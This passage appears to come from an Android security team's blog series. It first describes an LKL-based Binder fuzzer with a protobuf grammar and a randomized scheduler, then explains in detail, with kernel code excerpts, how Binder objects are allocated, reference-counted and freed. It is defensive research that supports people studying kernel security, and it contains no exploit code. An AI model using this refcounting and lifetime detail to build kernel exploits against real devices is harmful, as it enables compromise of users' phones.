To overcome the challenges of fuzzing Binder, we developed a specialized fuzzer built on the Linux Kernel Library (LKL). LKL compiles the entire Linux kernel into a userspace library, which allows a program to link against it and interact with the kernel through simple function calls. The entire syscall interface is exported via the lkl_syscall function. This setup allows our fuzzer to run entirely in userspace while still fuzzing the real kernel code.

This approach gave us an advantage over using tools like syzkaller because it offered us a way to develop a specialized fuzzing harness. In this section, we will only focus on the key implementation that enabled us to fuzz Binder’s complex state space. For a full breakdown of the LKL fuzzer, please refer to one of our talks here.

Custom Fuzzing Grammar

Our approach was to define a “grammar” for the interactions within our three-client model (one context manager and two clients). This is similar to structure-aware fuzzing, but our grammar also describes the sequence of events between multiple clients. This idea is inspired by Project Zero’s SockFuzzer.

For easier debugging and structured test case generation, we used Protocol Buffers (protobuf) to define this grammar and libprotobuf-mutator to generate and mutate test cases. The following textproto example shows a test case generated by our fuzzer. It describes a sequence of Binder operations across different clients, allowing us to reproduce and debug complex interactions between clients.

Furthermore, the fuzzer harness understands the Binder’s rules and maintains the state of each client, focusing on navigating complex state space rather than repeatedly hitting simple error paths.

Randomized Scheduler

In addition, we aimed to catch race condition bugs that arise from thread interleaving. This was not possible in LKL’s single-threaded kernel execution model. A LKL kernel thread handles a system call from start to finish without interruption.

To simulate thread interleaving, we inserted schedule() calls at key locations within the Binder driver’s source code, primarily around lock and unlock operations. When a client thread encounters one of these calls during a Binder operation, it yields to the scheduler and allows another client thread to run. This enables us to simulate the thread interleaving that occurs when multiple clients interact with Binder simultaneously.

We also implemented a randomized scheduler controlled by our fuzzer harness to intercept these schedule() calls. When a schedule() call is triggered within the Binder code, the harness randomly selects the next client thread to run.

This approach improves the fuzzer’s ability to discover bugs that arise from thread interleaving.

Conclusion

The Binder inter-process communication (IPC) system is a cornerstone of Android’s architecture, and its complexity demands robust testing. Our research successfully enhanced fuzzing techniques for Binder by integrating the standard syzkaller approach with a customized Linux Kernel Library (LKL) based method. This combined strategy significantly improved code coverage and, critically, allowed us to uncover deep-seated logic bugs that are only triggered by precise interactions and timing sequences among multiple clients.

We’re pleased to announce that our Binder fuzzer has been upstreamed to the LKL (with the exception of the Randomized Scheduler part) project and is now publicly available. You can find it at lkl/linux#564. Additionally, the specific test case for CVE-2023-20938, a vulnerability we discovered using this fuzzer, and instructions on how to reproduce it are also accessible.

We encourage you to explore and utilize this fuzzer to further strengthen the security and stability of Android systems. If you would like to know more about LKL fuzzing in general, we have presented on this topic in GeekCon 2024 and Linux Security Summit 2025, feel free to check the presentation page for details.

Binder Internals

Fri, 20 Sep 2024 00:00:00 +0000

In our last blog, we talked about Binder CVE-2023-20938 and how we exploited it to get kernel code execution. As you may have already noticed, exploiting this issue is not straightforward. While it is often true that kernel race conditions are notoriously tricky to exploit, the intricacy of the Binder driver’s implementation adds another layer of complexity.

This blog post dives deeper into the inner workings of Binder, including the lifecycles of its objects and the underpinnings that keep everything running smoothly across Android. We will also introduce the libdevbinder library we developed during our engagement. This library provides simpler interfaces for researchers interact with the Binder driver for the purpose of learning and experimentation. Binder is an incredibly complicated target! You’ll notice the length of this blog post reflects that complexity, and while we try to cover salient points from the perspective of security research here, there is always more to learn. The Android Red Team believes in empowering the security researcher community; sharing knowledge helps improve security across the entire ecosystem. This blog post aims to help security researchers (like you) learn more about Binder. If you learn enough to find some vulnerabilities, our goal has been achieved (oh and please, let us know!).

This is the second post of a multi-part series where we discuss our journey into Binder:

Part 1: Attacking Android Binder: Analysis and Exploitation of CVE-2023-20938
Part 2: Binder Internals

Lifetime of Binder Objects

The use of multiple reference counters and object dependencies introduces complex object lifetime management logic in Binder. When doing vulnerability research, it is helpful to understand the lifetime of every object in Binder as many past vulnerabilities have exploited flaws hidden within them.

To highlight the complexity, let’s look at some properties of the binder_node object:

Has 4 different reference counters
Can be in multiple linked lists owned by other objects, such as a binder_proc and a workqueue
One or more associated binder_ref objects hold a pointer to it
One or more associated binder_buffer objects hold a pointer to it

These properties also result in multiple code paths with different conditions to free a binder_node.

Here is a simplified diagram to show dependencies between every data structure in Binder:

In the next sections, we will examine the lifetime of several data structures in Binder, focusing on when they are allocated and destroyed.

binder_proc

The binder_proc object represents a client in Binder. It is the first object to be allocated when a process opens the Binder device node.

Note: In contrast to the userspace Binder, a process can act as a server or a client of a service. Throughout this article, we will generally refer to the process that interacts with the Binder device as the client and the Binder device itself as the server.

It contains the following fields that determine its lifetime:

threads is the root node of a red-black tree that contains all binder_threads it owns.
is_dead determines whether the client is dead.
tmp_ref tracks the number of local variables holding a pointer to the binder_proc.

Allocation

Binder allocates and initializes a binder_proc every time a process opens the Binder device node.

// === Userspace ===
int binder_fd = open("/dev/binder", O_RDWR | O_CLOEXEC);

// === Kernel ===
static int binder_open(struct inode *nodp, struct file *filp)
{
...
	proc = kzalloc(sizeof(*proc), GFP_KERNEL);
...
}

Note: For this blog post, we are diving into the Linux kernel codebase at commit 4df1536, specifically the files within the drivers/android folder. All code snippets are sourced from this folder and are licensed under the GNU General Public License version 2 (GPLv2). You can find the complete source code on GitHub (link). For full license details, please see LICENSE. We have occasionally omitted some code for brevity (indicated by ...) and included additional comments (marked with //).

Reference Counters

tmp_ref

tmp_ref tracks the number of local variables holding a pointer to the binder_proc. Binder increments the tmp_ref counter when a pointer to a binder_proc object is assigned to a local variable [1]. When the pointer variable is no longer in use, Binder decrements the tmp_ref counter with the binder_proc_dec_tmpref function [2].

static void binder_transaction(...)
{
	struct binder_proc *target_proc = NULL;
...
	target_proc = target_thread->proc;
	target_proc->tmp_ref++; // [1]
...
	binder_proc_dec_tmpref(target_proc); // [2]
...
}

static void binder_proc_dec_tmpref(struct binder_proc *proc)
{
...
	proc->tmp_ref--;
...
}

The tmp_ref is protected by the binder_proc->inner_lock spinlock to prevent data race.

Destroy

Binder destroys the binder_proc object with the binder_free_proc function, which is only called by the binder_proc_dec_tmpref function. Binder invokes the binder_proc_dec_tmpref function at multiple locations where it needs to decrement the tmp_ref counter.

static void binder_free_proc(struct binder_proc *proc)
{
...
	kfree(proc);
}

static void binder_proc_dec_tmpref(struct binder_proc *proc)
{
...
	if (proc->is_dead && RB_EMPTY_ROOT(&proc->threads) &&
			!proc->tmp_ref) {
		binder_inner_proc_unlock(proc);
		binder_free_proc(proc);
		return;
	}
...
}

Then, the binder_proc object is freed only when all of the following conditions are met:

threads: the red-black tree is empty after all binder_thread are released (see binder_thread.
is_dead: set to true when closing the Binder file descriptor (binder_thread_release).
tmp_ref: set to 0 when there is no temporary variable holding a pointer to the binder_proc.

The binder_proc_dec_tmpref is called in several code paths. One common code path is closing the Binder file descriptor, which calls the binder_deferred_released function.

// === Userspace ===
close(binder_fd);

// === Kernel ===
static void binder_deferred_release(struct binder_proc *proc)
{
...
	binder_proc_dec_tmpref(proc);
}

binder_thread

The binder_thread object represents a thread of a client (binder_proc) in Binder. We will delve deeper into multithreaded clients in an upcoming section (Multithreaded Client).

The binder_proc maintains a reference to each binder_thread it owns, which is stored in a red-black tree (rb_tree) and the root node is in the threads field.

It contains the following fields that determine its lifetime:

is_dead determines whether the thread is dead. This is distinct from the client death status (binder_proc->is_dead).
Similar to binder_proc->tmp_ref, tmp_ref tracks the number of active local variables holding a pointer to it.

Allocation

When the process of a client spawns a new thread, the child thread inherits the Binder file descriptor which is associated with the same binder_proc. When the new child thread initiates an ioctl call, Binder first looks up for any existing binder_thread associated with it [1]. If none exists, Binder allocates and initializes a new binder_thread [2, 3].

static long binder_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
	int ret;
	struct binder_proc *proc = filp->private_data;
	struct binder_thread *thread;
...
	thread = binder_get_thread(proc);
...
}

static struct binder_thread *binder_get_thread(struct binder_proc *proc)
{
	struct binder_thread *thread;
	struct binder_thread *new_thread;
...
	thread = binder_get_thread_ilocked(proc, NULL); // [1]
...
	if (!thread) {
		new_thread = kzalloc(sizeof(*thread), GFP_KERNEL); // [2]
...
		thread = binder_get_thread_ilocked(proc, new_thread); // [3]
...
	}
...
	return thread;
}

Reference Counters

tmp_ref

Similar to binder_proc->tmp_ref, tmp_ref tracks the number of local variables holding a pointer to the binder_thread. Binder increments the tmp_ref counter when the pointer to a binder_thread object is assigned to a local variable. When the pointer is no longer in use, Binder decrements the tmp_ref counter.

For example, the binder_get_txn_from increments the tmp_ref field before returning the pointer to a binder_thread object [2]. After the pointer is no longer in use, Binder decrements the tmp_ref counter with the binder_thread_dec_tmpref function [1].

static struct binder_thread *binder_get_txn_from_and_acq_inner(...)
{
	struct binder_thread *from;

	from = binder_get_txn_from(t);
...
	binder_thread_dec_tmpref(from); // [1]
	return NULL;
}

static struct binder_thread *binder_get_txn_from(struct binder_transaction *t)
{
	struct binder_thread *from;
...
	from = t->from;
	if (from)
		atomic_inc(&from->tmp_ref); // [2]
...
	return from;
}

static void binder_thread_dec_tmpref(struct binder_thread *thread)
{
...
	atomic_dec(&thread->tmp_ref);
...
}

Although tmp_ref is an atomic variable (atomic_t), it is also protected by the binder_proc->inner_lock spinlock to prevent data race.

Destroy

Binder releases a binder_thread object with the binder_free_thread function, which is only called by the binder_thread_dec_tmpref function. Binder invokes the binder_thread_dec_tmpref function at multiple locations where it needs to decrement the tmp_ref counter.

static void binder_thread_dec_tmpref(struct binder_thread *thread)
{
...
	if (thread->is_dead && !atomic_read(&thread->tmp_ref)) {
...
		binder_free_thread(thread);
...
	}
...
}

static void binder_free_thread(struct binder_thread *thread)
{
...
	kfree(thread);
}

The two conditions above are met when:

is_dead: set to true when Binder releases the thread binder_thread_release. The binder_thread_release is called when:
1. A thread calls the BINDER_THREAD_EXIT ioctl. The binder_proc and other threads remain unaffected.
2. A client closes the Binder file descriptor (binder_deferred_release), which releases the binder_proc and all binder_thread.
tmp_ref: set to 0 when there is no temporary variable holding a pointer to the binder_thread.

binder_node

A binder_node object represents a port to a client (binder_proc) and has the most complex lifetime management logic. There are three different data structures that hold a reference to a binder_node. Binder must ensure that binder_node stays in memory until all references to it have been removed. Let’s examine each data structure closely.

The binder_ref always holds a pointer to a binder_node in its node field.

These two objects represent a connection between two clients, allowing them to interact with each other via Binder. We will discuss more about binder_ref in the next section (binder_ref). For example, the diagram below shows Client A has a port (binder_node) which Client B and Client C each has a reference to it (binder_ref). As a result, Client B and Client C can initiate RPCs to Client A.

Every binder_proc holds a reference to every binder_node it owns, which is organized in a red-black tree (rb_tree) with the root node stored in the nodes field.

The binder_buffer represents a buffer that holds the data of a transaction. It holds a reference to the binder_node, which is the destination port of the transaction.

A binder_node also contains the following fields that determine its lifetime:

work is a node in a workqueue list when the binder_node is being processed.
refs holds the head of the list of all binder_ref linked to it.
internal_strong_refs tracks the number of strong references acquired remotely in other clients.
local_weak_refs tracks the number of weak references acquired locally.
local_strong_refs tracks the number of strong references acquired locally.
Similar to binder_proc->tmp_ref, tmp_ref tracks the number of local variables holding a pointer to it.

We will revisit all of the above fields later when discussing the deallocation of the binder_node object.

Note: Binder kernel driver guarantees that the binder_node object is released when all reference counters, both strong and weak, are zero. The distinction between strong and weak references is primarily significant in userspace for effective memory management. For more details about the usage of these reference types, please refer to the implementation of IBinder and its underlying RefBase class, which provide a reference-counted base class.

Allocation

Binder allocates a new binder_node with the binder_new_node function when a new port is established.

static struct binder_node *binder_new_node(...)
{
	struct binder_node *node;
	struct binder_node *new_node = kzalloc(sizeof(*node), GFP_KERNEL);
...
}

Binder and handle

Clients embed the flat_binder_object objects within the transaction data to send special data types such as file descriptors, binder and handle. To establish a new port, a client sends a transaction which contains a flat_binder_object object with the header type BINDER_TYPE_BINDER and a binder identifier.

Before forwarding the transaction to the receiving client, Binder processes every flat_binder_object in the transaction data. To process flat_binder_object with the header type BINDER_TYPE_BINDER or BINDER_TYPE_WEAK_BINDER, Binder calls the binder_translate_binder function.

static void binder_transaction(...)
{
...
		switch (hdr->type) {
		case BINDER_TYPE_BINDER:
		case BINDER_TYPE_WEAK_BINDER: {
			struct flat_binder_object *fp;

			fp = to_flat_binder_object(hdr);
			ret = binder_translate_binder(fp, t, thread); // [1]
...
		} break;
...
}

In the binder_translate_binder function, Binder searches for any existing port (binder_node) with a matching binder identifier owned by the sending client (binder_proc) [1]. If none exists, Binder allocates a new one and inserts it into the nodes red-black tree [2]. Finally, Binder converts the BINDER_TYPE_*BINDER header type to BINDER_TYPE_*HANDLE [3] and assigns a new handle identifier [4].

static int binder_translate_binder(struct flat_binder_object *fp,
				   struct binder_transaction *t,
				   struct binder_thread *thread)
{
	struct binder_node *node;
	struct binder_proc *proc = thread->proc;
...
	node = binder_get_node(proc, fp->binder); // [1]
	if (!node) {
		node = binder_new_node(proc, fp); // [2]
		if (!node)
			return -ENOMEM;
	}
...
	if (fp->hdr.type == BINDER_TYPE_BINDER)
		fp->hdr.type = BINDER_TYPE_HANDLE; // [3]
	else
		fp->hdr.type = BINDER_TYPE_WEAK_HANDLE; // [3]
...
	fp->handle = rdata.desc; // [4]
...
}

In the kernel, a binder_node and a binder_ref are created and linked together. Binder uses these two data structures to track every established connection between clients.

In the userspace, another client will receive the transaction that contains the flat_binder_object with the header type BINDER_TYPE_HANDLE and a handle identifier. Subsequently, Client B can initiate a transaction or RPC with Client A using the designated handle identifier.

Reference Counters

When updating a binder_node, the spinlock in its lock field must be acquired to prevent data race. Additionally, if the client that owns a binder_node is alive, the inner_lock of the client binder_proc must also be acquired.

The binder_inc_node_nilocked and binder_dec_node_nilocked functions are used to update the following reference counters:

internal_strong_refs
local_strong_refs
local_weak_refs

static int binder_inc_node_nilocked(struct binder_node *node,
				     int strong, int internal, ...)

static bool binder_dec_node_nilocked(struct binder_node *node,
				     int strong, int internal)

This table summarizes which reference counter will be updated by both functions based on the internal and strong parameters.

		internal
		0	1
strong	0	`local_weak_refs`	N/A
	1	`local_strong_refs`	`internal_strong_refs`

Note: There is no such field as internal_weak_refs in the binder_node object, so calling the functions with strong set to 0 and internal set to 1 does not modify any reference counter. The internal_weak_refs is implicitly tracked by the length of the binder_proc->refs linked list minus local_weak_refs. Therefore, before freeing a binder_node, Binder checks whether the list is empty.

internal_strong_refs

The internal_strong_refs represents the number of strong references to a binder_node held by remote clients. Binder tracks this by counting the associated binder_ref with a data.strong value greater than zero. We will cover more about the data.strong counter in the binder_ref section.

Binder increments the internal_strong_refs [2] when it increments the data.strong of an associated binder_ref from zero [1].

static int binder_inc_ref_olocked(struct binder_ref *ref, int strong,
				  struct list_head *target_list)
{
...
	if (strong) {
		if (ref->data.strong == 0) { // [1]
			ret = binder_inc_node(ref->node, 1, 1, target_list); // [2]
			if (ret)
				return ret;
		}
		ref->data.strong++; // [1]
	} else {
...
}

Binder decrements the internal_strong_refs [2] when the data.strong of an associated binder_ref drops to zero [1].

static bool binder_dec_ref_olocked(struct binder_ref *ref, int strong)
{
	if (strong) {
...
		ref->data.strong--; // [1]
		if (ref->data.strong == 0) // [1]
			binder_dec_node(ref->node, strong, 1); // [2]
	} else {
...
}

Upon client exit, Binder clears every binder_ref that the client owns [1]. In cases where a binder_ref has a data.strong value greater than zero [2], Binder then decrements the internal_strong_refs of the corresponding binder_node [3].

static void binder_deferred_release(struct binder_proc *proc)
{
...
	while ((n = rb_first(&proc->refs_by_desc))) {
		struct binder_ref *ref;

		ref = rb_entry(n, struct binder_ref, rb_node_desc);
...
		binder_cleanup_ref_olocked(ref); // [1]
...
	}
...
}

static void binder_cleanup_ref_olocked(struct binder_ref *ref)
{
...
	if (ref->data.strong) // [2]
		binder_dec_node_nilocked(ref->node, 1, 1); // [3]
...
}

local_strong_refs

The local_strong_refs represents the number of strong references to a binder_node held by the client locally. This count increases when the client receives a transaction that either targets the binder_node or includes a BINDER_TYPE_BINDER object that references the binder_node.

When a remote client sends a transaction, Binder creates a binder_transaction and a binder_buffer to store the transaction’s metadata. The binder_buffer contains a target_node field which identifies the recipient by pointing to the binder_node owned by the receiving client. This process increments the local_strong_refs count.

In addition, receiving a transaction that includes a BINDER_TYPE_BINDER object creates a strong reference to the binder_node that has the matching binder identifier. This also increments the local_strong_refs count.

local_weak_refs

Like the local_strong_refs, the local_weak_refs represents the number of weak references to a binder_node held by the client locally. Receiving a transaction that includes a BINDER_TYPE_WEAK_BINDER object creates a weak reference locally to the binder_node that has the matching binder identifier.

tmp_refs

tmp_refs tracks the number of active local variables holding a pointer to it. Binder increments and decrements the tmp_refs counter with the binder_inc_node_tmpref_ilocked and binder_dec_node_tmpref.

Destroy

Binder destroys a binder_node object with the binder_free_node function.

static void binder_free_node(struct binder_node *node)
{
	kfree(node);
...
}

There are several code paths that frees a binder_node under different conditions:

binder_dec_node_nilocked
binder_thread_read
binder_deferred_release

binder_dec_node_nilocked

The binder_dec_node_nilocked function decrements one of the binder_node reference counters. It also returns a boolean to notify its caller that it is safe to free the binder_node.

static bool binder_dec_node_nilocked(struct binder_node *node,
				     int strong, int internal)
{
	struct binder_proc *proc = node->proc;
...
	if (strong) {
		if (internal)
			node->internal_strong_refs--;
		else
			node->local_strong_refs--;
		if (node->local_strong_refs || node->internal_strong_refs)
			return false;
	} else {
		if (!internal)
			node->local_weak_refs--;
		if (node->local_weak_refs || node->tmp_refs ||
				!hlist_empty(&node->refs))
			return false;
	}
...
	if (proc && (node->has_strong_ref || node->has_weak_ref)) {
...
       else {
		if (hlist_empty(&node->refs) && !node->local_strong_refs &&
		    !node->local_weak_refs && !node->tmp_refs) {
...
			return true;

In summary, a binder_node can be safely freed only when all of the following conditions are true:

binder_node->proc == 0
binder_node->has_strong_ref == 0
binder_node->has_weak_ref == 0
binder_node->internal_strong_refs == 0
binder_node->local_strong_refs == 0
binder_node->local_weak_refs == 0
binder_node->tmp_refs == 0
binder_node->refs == 0 // hlist_empty(node->refs)
binder_node->work.entry = &node->work.entry // list_empty(&node->work.entry)

The binder_dec_node_nilocked is called by three functions:

binder_dec_node
binder_dec_node_tmpref
binder_free_ref

The binder_dec_node is a wrapper function that helps acquire relevant locks.

static void binder_dec_node(struct binder_node *node, int strong, int internal)
{
...
	binder_node_inner_lock(node); // Acquire relevant locks
	free_node = binder_dec_node_nilocked(node, strong, internal);
	binder_node_inner_unlock(node);
	if (free_node)
		binder_free_node(node);
}

The binder_dec_node is called when

Updating the binder_ref strong and weak references.
Releasing a transaction (BC_FREE_BUFER) because binder_buffer has a reference to a binder_node.
Cleaning up a transaction when Binder failed to process it

The binder_dec_node_tmpref is called to decrement the tmp_ref counter of a binder_node.

static void binder_dec_node_tmpref(struct binder_node *node)
{
...
	free_node = binder_dec_node_nilocked(node, 0, 1);
...
	if (free_node)
		binder_free_node(node);
...
}

Note: binder_dec_node_nilocked is called here with a strong value of 0 and an internal value of 1. Since there is no internal_weak_refs, this function call does not update any reference counters of a binder_node.

The binder_free_ref function is called to clean up a binder_ref before freeing it.

static void binder_cleanup_ref_olocked(struct binder_ref *ref)
{
...
	delete_node = binder_dec_node_nilocked(ref->node, 0, 1);
...
	if (!delete_node) {
...
		ref->node = NULL;
	}
...
}

binder_thread_read

After the creation or update of a binder_node, Binder enqueues the binder_node into the client’s workqueue as a BINDER_WORK_NODE work item. When a client reads incoming response (BR_*), Binder calls the binder_thread_read function to transform a work item from the workqueue into a response. Under certain conditions, Binder will free a binder_node when transforming the BINDER_WORK_NODE work item [1].

static int binder_thread_read(...)
{
...
		struct binder_work *w = NULL;
...
		w = binder_dequeue_work_head_ilocked(list);
...
		switch (w->type) {
...
		case BINDER_WORK_NODE: { // [1]
...
			strong = node->internal_strong_refs ||
					node->local_strong_refs;
			weak = !hlist_empty(&node->refs) ||
					node->local_weak_refs ||
					node->tmp_refs || strong;
...
			if (!weak && !strong) {
...
				binder_free_node(node);

The conditions can be summarized as follows:

binder_node->internal_strong_refs == 0
binder_node->local_strong_refs == 0
binder_node->local_weak_refs == 0
binder_node->tmp_refs == 0
binder_node->refs == 0 // hlist_empty(node->refs)

binder_deferred_release

When a client closes the Binder file descriptor (binder_deferred_release), Binder traverses a rb_tree that contains all binder_node owned by the binder_proc and frees them. The binder_node_release function is used to free a binder_node only if the following conditions are met [1]:

The binder_node has zero binder_ref in its refs list.
The tmp_refs counter of the binder_node must equal 1.

static void binder_deferred_release(struct binder_proc *proc)
{
...
	while ((n = rb_first(&proc->nodes))) {
		struct binder_node *node;

		node = rb_entry(n, struct binder_node, rb_node);
...
		incoming_refs = binder_node_release(node, incoming_refs);
...
	}
...
}

static int binder_node_release(struct binder_node *node, int refs)
{
...
	if (hlist_empty(&node->refs) && node->tmp_refs == 1) { // [1]
...
		binder_free_node(node);
...
}

binder_ref

A binder_ref represents a reference that a client holds to the port (binder_node) of a separate client, which forms a connection. Therefore, a binder_ref can only exist when its owner (binder_proc) and its associated port (binder_node) are alive.

Allocation

There are two scenarios where Binder creates a new binder_ref. In the binder_node section, we examined the first scenario: a client sends a BINDER_TYPE_*BINDER to another client. In the end, Binder creates a new binder_node together with a binder_ref.

When translating the BINDER_TYPE_BINDER to a BINDER_TYPE_HANDLE [1], Binder tries to find an existing binder_ref associated with the binder_node [2]. If none exists, Binder allocates a new binder_ref.

static int binder_translate_binder(...) // [1]
{
...
	ret = binder_inc_ref_for_node(target_proc, node,
			fp->hdr.type == BINDER_TYPE_BINDER,
			&thread->todo, &rdata);
...
}

static int binder_inc_ref_for_node(...)
{
	struct binder_ref *ref;
	struct binder_ref *new_ref = NULL;
...
	ref = binder_get_ref_for_node_olocked(proc, node, NULL); // [2]
	if (!ref) {
...
		new_ref = kzalloc(sizeof(*ref), GFP_KERNEL); // [3]

...
	return ret;
}

The second scenario is when a client sends a BINDER_TYPE_HANDLE or BINDER_TYPE_WEAK_BINDER to another client.

Before forwarding the transaction, Binder calls the binder_translate_handle function to process flat_binder_object of type BINDER_TYPE_HANDLE or BINDER_TYPE_WEAK_HANDLE.

static void binder_transaction(...)
{
...
		case BINDER_TYPE_HANDLE:
		case BINDER_TYPE_WEAK_HANDLE: {
			struct flat_binder_object *fp;

			fp = to_flat_binder_object(hdr);
			ret = binder_translate_handle(fp, t, thread); // [1]
...
		} break;
...
}

Binder searches for the binder_node associated with a binder_ref that has a matching handle identifier [1]. If the binder_node is not owned by the receiving client [2], Binder calls the binder_inc_ref_for_node function to get a binder_ref [3] and assign a new handle identifier [4].

static int binder_translate_handle(struct flat_binder_object *fp,
				   struct binder_transaction *t,
				   struct binder_thread *thread)
{
	struct binder_proc *proc = thread->proc;
	struct binder_proc *target_proc = t->to_proc;
	struct binder_node *node;
...
	node = binder_get_node_from_ref(proc, fp->handle,
			fp->hdr.type == BINDER_TYPE_HANDLE, &src_rdata); // [1]
...
	if (node->proc == target_proc) { // [2]
...
	} else {
...
		ret = binder_inc_ref_for_node(target_proc, node, // [3]
				fp->hdr.type == BINDER_TYPE_HANDLE,
				NULL, &dest_rdata);
...
		fp->handle = dest_rdata.desc; // [4]
...
	}
...
}

The binder_inc_ref_for_node function first searches for any existing binder_ref that is associated with that binder_node [1]. If none exists [2], Binder creates a new binder_ref for the receiving client.

static int binder_inc_ref_for_node(struct binder_proc *proc,
			struct binder_node *node,
                    ...)
{
	struct binder_ref *ref;
	struct binder_ref *new_ref = NULL;
...
	ref = binder_get_ref_for_node_olocked(proc, node, NULL); // [1]
	if (!ref) { // [2]
...
		new_ref = kzalloc(sizeof(*ref), GFP_KERNEL); // [2]
...
	}
...
}

Finally, Binder creates a new binder_ref and links it to an existing binder_node in the kernel.

In the userspace, the receiving client will receive the transaction that contains the flat_binder_object with the header type BINDER_TYPE_HANDLE and a handle identifier. Subsequently, Client C can initiate a transaction or RPC with Client A using the designated handle identifier. Through this process, Client B has granted the same communication channel to Client C, allowing it to initiate new RPC with Client A.

Reference Counters

Within a binder_ref, the data field tracks the count of strong and weak references acquired by a userspace program.

/*
 * struct binder_ref - struct to track references on nodes
 * @data:        binder_ref_data containing id, handle, and current refcounts
...
 */
struct binder_ref {
	struct binder_ref_data data;
...
}

struct binder_ref_data {
	int debug_id;
	uint32_t desc;
	int strong;
	int weak;
};

A userspace program can use the following BC_* commands to update one of the reference counters of a given handle identifier.

	Increment (+1)	Decrement (-1)
strong	`BC_ACQUIRE`	`BC_RELEASE`
weak	`BC_INCREFS`	`BC_DECREFS`

The binder_thread_write function processes those commands and updates the binder_ref with the given handle identifier. This update is done using the binder_update_ref_for_handle function.

static int binder_thread_write(...)
{
...
	while (ptr < end && thread->return_error.cmd == BR_OK) {
		switch (cmd) {
		case BC_INCREFS:
		case BC_ACQUIRE:
		case BC_RELEASE:
		case BC_DECREFS: {
...
			bool strong = cmd == BC_ACQUIRE || cmd == BC_RELEASE;
			bool increment = cmd == BC_INCREFS || cmd == BC_ACQUIRE;
...
			if (ret)
				ret = binder_update_ref_for_handle(
						proc, target, increment, strong,
						&rdata);
...

A client can acquire additional strong references on the binder_ref by sending the BC_ACQUIRE command. It will only increment the internal_strong_refs of the associated binder_node if no strong references (data.strong) is held before.

static int binder_inc_ref_olocked(struct binder_ref *ref, int strong,
				  struct list_head *target_list)
{
...

	if (strong) {
		if (ref->data.strong == 0) {
			ret = binder_inc_node(ref->node, 1, 1, target_list);
...
		ref->data.strong++;
...
}

A client can also release a strong reference on the binder_ref by sending the BC_RELEASE command. When there are zero strong references, Binder decrements the internal_strong_refs of the associated binder_node.

static bool binder_dec_ref_olocked(struct binder_ref *ref, int strong)
{
	if (strong) {
...
		ref->data.strong--;
		if (ref->data.strong == 0)
			binder_dec_node(ref->node, strong, 1);
...
}

Destroy

The binder_free_ref function is used to free a binder_ref object.

static void binder_free_ref(struct binder_ref *ref)
{
...
	kfree(ref);
}

There are two code paths where the binder_free_ref function is called:

binder_thread_write
binder_deferred_release

binder_thread_write

As we discussed earlier, a client can send specific BC_* commands to update the reference counter of a binder_ref with the given handle identifier. The binder_thread_write function is responsible for processing those commands.

static int binder_thread_write(...)
{
...
		switch (cmd) {
		case BC_INCREFS:
		case BC_ACQUIRE:
		case BC_RELEASE:
		case BC_DECREFS: {
...
			bool strong = cmd == BC_ACQUIRE || cmd == BC_RELEASE;
			bool increment = cmd == BC_INCREFS || cmd == BC_ACQUIRE;
...
				ret = binder_update_ref_for_handle(
						proc, target, increment, strong,
						&rdata);
...
}

When updating the reference counter of a binder_ref with a given handle identifier, binder_update_ref_for_handle frees the binder_ref if binder_dec_ref_olocked returns true.

static int binder_update_ref_for_handle(struct binder_proc *proc,
		uint32_t desc, bool increment, bool strong,
		struct binder_ref_data *rdata)
{
	bool delete_ref = false;
...
		delete_ref = binder_dec_ref_olocked(ref, strong);
...
	if (delete_ref) {
		binder_free_ref(ref);
...
	}
...
}

The binder_dec_ref_olocked function returns true to inform the caller that the binder_ref can be safely freed, if data.strong and data.weak become zero [1].

static bool binder_dec_ref_olocked(struct binder_ref *ref, int strong)
{
...
	if (ref->data.strong == 0 && ref->data.weak == 0) { // [1]
...
		return true;
	}
...
}

binder_deferred_release

When a client closes the Binder file descriptor (binder_deferred_release), Binder traverses a rb_tree that contains all binder_ref owned by the binder_proc and frees them.

static void binder_deferred_release(struct binder_proc *proc)
{
...
	while ((n = rb_first(&proc->refs_by_desc))) {
		struct binder_ref *ref;

		ref = rb_entry(n, struct binder_ref, rb_node_desc);
...
		binder_free_ref(ref);
...
	}
...
}

Binder Concurrency Model

Binder is designed to facilitate remote procedure calls (RPC) between clients. A client initiates communication by sending commands prefixed with BC_*. These commands are accompanied by relevant data specific to the command. Then, the client waits for a response prefixed with BR_* from Binder.

In the beginning, a single-threaded client initiates a RPC by send a BC_TRANSACTION command to Binder. Then, Binder forwards the command as a BR_TRANSACTION response to the recipient client. To return the RPC result, the recipient client sends a BC_REPLY command along with the result data back to Binder. Finally, Binder forwards it back to the client as a BR_REPLY response, completing the RPC process.

In scenarios involving multiple RPCs, a single-threaded client receives all incoming transactions in a first-in-first-out (FIFO) order. The client cannot read the next transaction until it has replied to the current one.

Multithreaded Client

Binder has support for multithreaded clients, enabling them to simultaneously process multiple RPCs in separate threads. Therefore, Binder maintains a list of threads (binder_thread) owned by a client (binder_proc).

When a client process spawns a new thread, the child thread inherits the previously opened Binder file descriptor. This file descriptor is associated with the same client binder_proc as the parent thread.

int binder_fd = open("/dev/binder", O_RDWR | O_CLOEXEC);
...
pid_t pid = fork();                                // spawns a new thread
if (pid == -1) {                                   // fork failed
  return 1;
} else if (pid > 0) {                              // child thread starts here
...
  ret = ioctl(binder_fd, BINDER_WRITE_READ, &bwr); // do ioctls on inherited
                                                   // `binder_fd`
...
} else {                                           // parent thread starts here
...
  ret = ioctl(binder_fd, BINDER_WRITE_READ, &bwr); // do ioctls on `binder_fd`
...
}

Binder identifies the thread making the ioctl calls by its process ID (task_struct->pid).

Note: In userspace, the term “thread ID” corresponds to the process ID used in the kernel (task_struct->pid). Meanwhile, the term “process ID” refers to the thread group ID (task_struct->tgid).

Binder uses several workqueues to distribute incoming transactions: a main workqueue for each client (binder_proc->todo) and a thread workqueue for each thread (binder_thread->todo). We will dive deeper into the concept of workqueues in the next section (Binder Workqueues).

Register as a Looper

Before a child thread can retrieve an incoming transaction from the main workqueue, it must first register itself as a looper. This is achieved by sending the BC_ENTER_LOOPER or BC_REGISTER_LOOPER command to Binder upon spawning. Subsequently, when the child thread performs a read operation (BINDER_WRITE_READ ioctl), Binder retrieves the next transaction from the main workqueue and passes it to the child thread for processing. The overall multithreaded client is not required to respond to every transaction in a FIFO order. However, each thread must still adhere to the FIFO order when replying to its own workqueue.

A client thread can invoke the BINDER_THREAD_EXIT ioctl to exit early. Then, Binder cleans up all pending work in the thread’s workqueue and notifies the client that initiates the transaction with the BR_DEAD_REPLY response.

Request a New Looper

